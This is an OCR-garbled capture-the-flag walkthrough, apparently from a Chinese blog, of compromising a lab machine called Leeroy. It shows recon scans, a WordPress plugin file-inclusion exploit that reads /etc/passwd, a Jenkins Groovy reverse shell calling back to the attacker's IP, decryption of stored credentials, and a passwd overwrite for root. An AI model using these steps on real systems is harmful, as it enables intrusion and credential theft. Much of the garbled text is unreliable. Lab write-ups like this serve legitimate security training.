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LINCE

hosts
wordpress
jenkins
https

sudo -l

FEHUR && ¥ H 73

Currently scanning: Finished! Screen View: Unigue Hosts

13 Captured ARP Req/Rep packets, from 4 hosts.
MAC Address Count

Inc.
Inc.
Inc.

Inc. https://blog.csdn.netiiajiajiang_
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|- ~/vuln/adam]

ap 192.168.154.133

ing Nmap 7.91 { https://nmap.org ) at 2821-85-280 21:42 EDT
@:00:37 elapsed; @ hosts comp ed (1 up), 1 undergoing Script !
ming: About 90.00% done; ETC: 21:43 (@:00:00 remaining)

ap scan report for 192.168.154.

Host 1s up (@.00864s latency).
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Mot shown: 6553@ closed ports
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl1 Ubuntu 4 (Ubuntu Linux; protocol 2.@)
8a/tcp open http nginx 1.17.1@ (Ubuntu)

8@80/tcp open http Jetty 9.4.27.v20200227

13388/tcp open ssl/unknown
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[~/vuln/adam]
I openssh 8.2
Exploits: Na Results
ellcodes: No Results

J=[=~/vuln/adam]
openssh

loit Title

Debian - [Authantir:TnUW emote SELinux Privilege Escalation linu
g g i mul

ﬂou_ll

pl - Dup11
< 6.9 - "PTY
D=n1a1 of

) C linu
Command Execution linu
'UsePrivil : ion Disabled’ rwarde ix ain Socke Priv linu
agent Protoc rbitrary Library ading linux/remote
" Enume linux/
nt - WIlte Arbitrary Files multiple/
ssh.sh' ote User : linu
emote Users Discover) linu
ne Enum tion 1inu
lp PAM/4.1-SuSE - Timing At ¢ mult

Shellcodes: No Results
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<« ¢ @ © % [192.168.154.133 R

& Kali Linux ¥ Kali Training & Kali Tools % Kali Forums = KaliDocs X NetHunter Offensive Security MSFU - Exploit-DB «~ GHDB

ctrl + U, Mt A&

f view-source:http://192.168.154.133/

o Kali Linux ® Kali Training ™/ Kali Tools X Kali Forums # KaliDocs & NetHunte

<img src="leeroy.jpg" alt="LEEROY!!">

HHEX, AR

)-[~/mytools/dirsearch]
o | | http://192.168.154.133

Extensions: HTTP method: Threads: Wordlist size:
Output File: /home/kali/mytools/dirsearch/reports/192.168.154.133/_21-85-20_21-49-18.txt

Error Log: /home/kali/mytools/dirsearch/logs/errors-21-05-28_21-49-18.log

[21:49:18] Starting:

—  http://192.168.154.133/images/
tml
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fa 192.168.154.133

(ali Tools X Kali Forums ¢ Kali Docs & NetHunter Offensive Security M5FU & Exploit-DB

404 Not Found

nginx/1.17.10 (Ubuntu)

8080

e SRME

U £ 192.168.154.133 e & 1%

raining & Kali Tools & Kali Forums # Kali Docs e NetHunter Offensive

Welcome to Jenkins!

‘ |Userr"|ame ‘

Password

Keep me signed in



1 H 5% A & Pirobots.txt

— d @ © 4 192.168.154.133

o Kali Linux % Kali Training ® Kali Tools 3 Kali Forums = Kali Docs

# we don't want robots to click "build"™ links
User-agent: #
Disallow: /

13380

Vi In] Bk leeroy.htb, ZhostssCfEn— T
< C @ © /& leeroy.htb:13380

e Kali Linux 3 Kali Training & Kali Tools & Kali Forums # Kali Docs

Burp Suite Community Edition

Error

Unknown host: leeroy.htb

it 7
|~ [~/mytools/dirsearch]
127. alhost

11?.9.1.1
192.168.154.133

# The following lines are desirable for IPv6 capable hosts
localhost ip6-localhost 1p6-loopback
:1 ip6-allnodes
p2::2 ip6-allrouters https://blog.csdn.net/Jiajiajiang_




= c @ © /4 leeroy.htb:13380 o

& Kali Linux % Kali Training &{ Kali Tools ¥ Kali Forums = KaliDocs & NetHunter Offensive Security MSFU - Exploit-DB #~ GHDB

@ rogin

O Friday, May 21, 2021

3 HOME ABOUT BLOG CONTACT

Breaking News Hello World!

. ABOUT THIS SITE
Leeroy’s Redemption

This may be a good place to introduce
yourself and your site or include some
credits.

| was to lazy back then, what makes you think | put a lot of time into my own site?

»g.csdn.netiiajiajiang_

Ky, MJEwordpress, EABTE, WIE, MELE T

|-[~/mytools/dirsearch]
"leeroy.htb:1
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Plugin(s) Identified:

bbpress

Location: http://leeroy.htb d/wp-content/plugins/bbpress
Last Updated: 202@-11-@6Tal !

] The version 1s out of date = Late version 1s 2.6.6

Found By: Urls In Homepage

Version: 2.6.4 (80% 'anidﬁnce]
Found By  dme . le Tag (Aggressive Detection)
@/wp-content/plugins/bbpress/readme. txt

buddypress

Location: http://leeroy.htb: W —cnntentfpluginEfbuddypre55f
Last Updated: 2821-04-14T@

[!'] The version is out of dat 1 version 1s 7.3.0

Found By: Urls

Versionm: 5.2.0 (1@ confidence)
Found By: Query Parameter (Passive Detection)
@/wp-content/plugins/buddypress/bp-éeteyedselitirin

24— ~/~searchspolit

wp-with-spritz
Location: http://
Latest Version:
Last Updated:

Found By: Urls In Homepage (Passiv

Version: &.2.4 (1 confidence)
Found By: Readme Stable Tag (Aggressive DgtéLtanl




L—i )-[~/mytools/dirsearch]
searchsploit wp with spritz

Exploit Title
WordPress Plugi File Inclusion

Shellcodes: No Results htips:/blog.csdn.netliaiiajiang_

t Author:
Link:

downloads.wordpress.org/plugi p-with-spritz.zip

Spritz Login Success") AND inur wp-with-spri p.spritz.legin.success.html™)
ith PHP 7 on Li

#
#
#
#
#
#
#

1. Version Disclosure
Jwp-content/plugins/wp-with-spritz adme. txt
2. Source Code

if(isset($_GET['url']1)){
$content=file_get_contents($_GET['url']);

3. Proof of Concept

-with-sprit
Jwp-content/plugins/wp-with-spritz

B LT

netialiajiang_

& Cc o © /4 leeroy.htb:13380//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/..[..[.[.[[ === w

! Kali Linux ¥ Kali Training N Kali Tools ¥ Kali Forums « KaliDocs e NetHunter Offensive Security MSFU & Exploit-DB #~ GHDB

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbhin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:lp:/var/spool
/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin
/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin
/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbhin/nologin gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd:/usr/shin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/shin/nologin systemd-
timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/shin/nologin messagebus:x:103:106::/nonexistent:/usr/shin/nologin
syslog:x:104:110::/home/syslog:/usr/shin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/shin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin
/nologin 1xd:x:998:100::/var/snap/lxd/common/lxd:/bin/false jenkins:x:112:117:Jenkins,,,:/var/lib/jenkins:/bin/bash leeroy:x:1000:1000::/home/leeroy:/bin/bash
mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false

getshell
WR/NT, SRR BB, BT

177 28080ME

< cC @ % content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../..[..//fhome/leeroy/.bash_history =** k¢

o Kali Linux % Kali Training % Kali Tools ¥ KaliForums ¢ KaliDocs e\ NetHunter Offensive Security MSFU &~ Exploit-DB &~ GHDB

ipconfig

ifconfig

apt-get update

ap-tget upgrade

apt-get upgrade

sudo apt-get install openjdk-8-jdk

sudo apt-get install nginx

wget -q -0 - https://pkg.jenkins.io/debian/jenkins-ci.org.key | sudo apt-key add -

wget https://pkg.jenkins.io/debian-stable/binary/jenkins_2.222.3 all.deb -0 $1 --no-check-certificate
sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list’
sudo apt-get update

sudo apt-get install jenkins

echo "z1ln$AiWY40HWeQ@KIS3P" = fvar/lib/jenkins/secrets/initialAdminPassword

sudo su -

echo "z1n$AiWY4@HWeQ@KI53P" > /var/lib/jenkins/secrets/initialAdminPassword

H 44 7&admin



A % 1

= c @ © /G 192.168.154.133:3080 w

o Kali Linux ¥ Kali Training N Kali Tools ¥ Kali Forums @ KaliDocs ¢ NetHunter Offensive Security MSFU # Exploit-DB #~ GHDB

f Jenkins 2 admin  S]log out
Jenkins enable auto refresh
= New ltem [%add description
& People Welcome to Jenkins!

~= Build Histor i
Y Please create new jobs to get started.

’!" Manage Jenkins
& My Views

¥4 Lockable Resources
A. Credentials

Bl New View

Build Queue =

No builds in the queue.

Build Executor Status =

1 Idle
2 Idle

KIMENIX H getshell

ZE—R N E: https://blog.pentesteracademy.convabusing-jenkins-groovy-script-console-to-get-shell-
98b951fab4ab
B, RTFCE— K, BIRSHASK

Manage Jenkins -> Script Console
HA Kitshell

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

String host="192.168.154.129";
int port=443;
String cmd="bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStr

Jenkins
= New Item —
& People == Script Console

= Build History
= Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘println” command to see the output (if you

" Manage Jenkins use System. out. it will go to the server’s stdout, which is harder to see.) Example:
&. My Views println(Jenkins.instance.pluginManager.plugins)
“—.3 Lockable Resources All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model. * are pre-imported.

4. Credentials String host="192.168.154.129";

int port=443;
Bl New View String cmd="bash"; 7
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi

Build Queue =

No builds in the queue.

Build Executor Status =

1 Idle
2 Idle



https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

|- [~/vuln/leeroy]

sudo ne ) 443
listening on [any] 443 ...

run
T HEIP/ g

)=[~/wuln/leeroy]
sudo nc 443
listening on [any] 443
connect to [192.168.154.129] from (UNKNOWN) [192.168.154.133] 37586

_
L$ sudo nc 443

listening on [any] 443
connect to [192.168.154.129] from (UNKMNOWN) [192.168.154.133] 37586
whoami
jenkins

1ls

bin

boot

cdrom

dev

etc

home

lib

1lib32
libg4
libx32
lost+found
media

mnt

opt

proc

root

run

shin

snap

STV
swap.img
SYS

tmp

usr

var

I hitps://blog.csdn.net/Jiajiajiang_




encoding="UTF-8"?7>
oudbnns plugins.cre 1ls.SystemCredentialsProvider pl
dentialsMap cla hudson.util.CopyOnWriteMap$Hash”
s.plugins.credentials.domains.Domain>

ains.Domain>

ls.impl.UsernamePasswordCredentialsImpl=

pqssmord AUAAAEAAAAAQ.. UOA#ED\AODgoynU]qu 7QnySTgsMd4BbZa90mVexM+9KFi508Ef jODN11
i 1mp1 U;nanmﬂpqssmcld!19dﬂn+131;1mp1

<?xml version='1.1"' encoding="UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@2.3.7">
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
<entry>
<com.cloudbees.plugins.credentials.domains.Domain>
<specifications/>
</com.cloudbees.plugins.credentials.domains.Domain>
<java.util.concurrent.CopyOnWriteArrayList>
<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
<scope>GLOBAL</scope>
<id>d74a6bca-af9a-4dfb-94dd-4f358ef164dd</id>
<description>WP Login</description>
<username>leeroy</username>
<password>{AQAAABAAAAAgXBYOOAVEOYABD90yNnQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn11Xhx}</passwor
</com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
</java.util.concurrent.CopyOnWriteArrayList>
</entry>
</domainCredentialsMap>

fE passwd Bt Sk fiF 2

println{Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.* hudson.*, and hudson.model.* are pre-imported.

println({hudson.util.Secret.decrypt("{AQAAABAAAAAGXBYOOAVEOYAODI0YNQjqAa+70nySTgsMd4BbZa90myexM+9KF1508ETjODN11Xhx

Result

ew3@PHQ1X2RtP1ra!GZs

gk —A> 1, B IR FH A




println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYOBAVEOYABD90YNQjqAa+7QnySTgsMd4BbZaoQmVexM+9KFi508EfjOD
println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYOBAVEOYAOD90YNQjqAa+7QnySTgsMd4BbZaoQmVexM+9KFi508EfjOD

SN

=

figh

ew3@PHQiX2RtP1lra!GZs

su ik
Jenkinsgleeroy: ~!
su lLeeroy
Password: ew3gPHQ1X2RtP1lr.

leeroy@leeroy:/var/lib/jenkins$ |}

for leeroy on leeroy:
vi/usr/local/bin\: /usr/sbin\:/usr/bin\:/sbin’\:/bin\:/snap/bin

User leeroy may run the following commands on leeroy:
(ALL) fusr/share/jenkins/jenkins_installer

MEtaix 7H, BAREAR, BEE
EE&Einstaller#l Wk 1

1 nginx
; ]ﬂnPln;.13{d=b1an/]=n?1n, 11 or / udo apt-key add -
.deb -0 $1 —no-check-certificate
'echo deb http g Jetc/apt/sources.list.d/jenkins.list’
t update
apt-get install jenkins

H R REWegt RS AT R AN, IERTBLE R O A

WAEE, BRI,

AT LME Ehosts, ikt T EIRATH CHTUE, #E—4> H{E/etc/passwd
hosts S {1 — ik 75 Broot 4 ek, (2 3RATHE B XS

leeroyaleeroy: $ 1s
¥ - Jvar/lib/jenkins/host

kins/hosts




SRR AT A S
ReREHL passwd B il i Kn—A7, EIXZHT, ER—NET A CrEY

mkpasswd -m sha-512

( )=[~/wuln/leeroy]

pas sha-512
Password:
$6%qch . JLYKRXy . F1D0$JdMGviKZuhtOfITzpIF83E JOoPXHFF4 JUQTPuX0ZEKQTBX1ZPVwATUSYBPWG2x2cK7hIxqByEBGZKdn9BDbS /@

Filtpasswd

'6.JﬁTkEKy.FlDO$JdMGU'FEuhthIIZDJFSEEjUOPXHfF#JUQTPuKDEEk
ot:/bin/bash

_~fvuln/leeroy
2.222.3 all.deb debian

(~/vuln/leeroy]
- nttp.server 80
[sudo] password Far Fq]i'
Serving HTTP on @ @ port 8@ (http://C

L ER AW AT =1

leeroyileeroy: % sudo fusr/sha jenkins/jenkins_installer ,

SIS LUK
aFR, HSRRMCT PN R ILZhttpsi

Jafihsg. o o letc/passwd3fFi& A | everything nothing... fine
HL K

% leeroy.htb:1338

Tools & KaliForums = KaliDocs & NetHunter Offensive Security MSFU

Error establishing a database connection

Jrhttpsfik 55, RS 7 HAB SRR

#: https://blog.csdn.net/Jiajiajiang_/article/details/117124221


https://blog.csdn.net/Jiajiajiang_/article/details/117124221

# 1Y flapache?2
U T ZERATIF T https k45 )5, FEIRAT

leeroyaleeroy: $ sudo /usr/share/jenkins/jenkins_installer /etc/passwd

IFiY, HFEER ARSI R Sjessical Z &4 T, HEHM T —4

[j_-?hi 551 pa55ﬁd- hack hackl23
$15hack$wTn@dk2QiNeKf1l.DHOUued

mysql:x:113:119:My5QL Server,,,:/nonexistent:/bin/false
ash

Jetc/passwd e | 2.10K -—=-—-KB/s in @s

htt, bg.csdn.netlliajiajiang_

SRR R T

leeroyaleeroy:~% su hack
Password:

root@leeroy:/home/leeroy |



root@leeroy:/home/leeroyf# 1id
uid=@(root) gid=0(root) groups=@(root)
root@leeroy:/home/leeroy# cd /root
rootileeroy:~# 1ls -al

root root Jun
root root May
root root May 1
root root 6 Dec
root root 4896 May
root root 4096 May
root root 628 May
root root 61 Dec
root root 13 May
root root 4096 May
root root 4896 May
root root 12184 Jun

=
[« = =

=

— JSdev/null
.bashrc

.mysgl_history
.profile
root.txt

=
[l = I W T Y LY R

=

.viminfo
.wget-hsts

root root 164 May
rootileeroy:~# cat root.txt
4abb92d79%ackab ttp csdn.netiJiajiajiang_

1
1
1
1
1
1
1

[
=

el i
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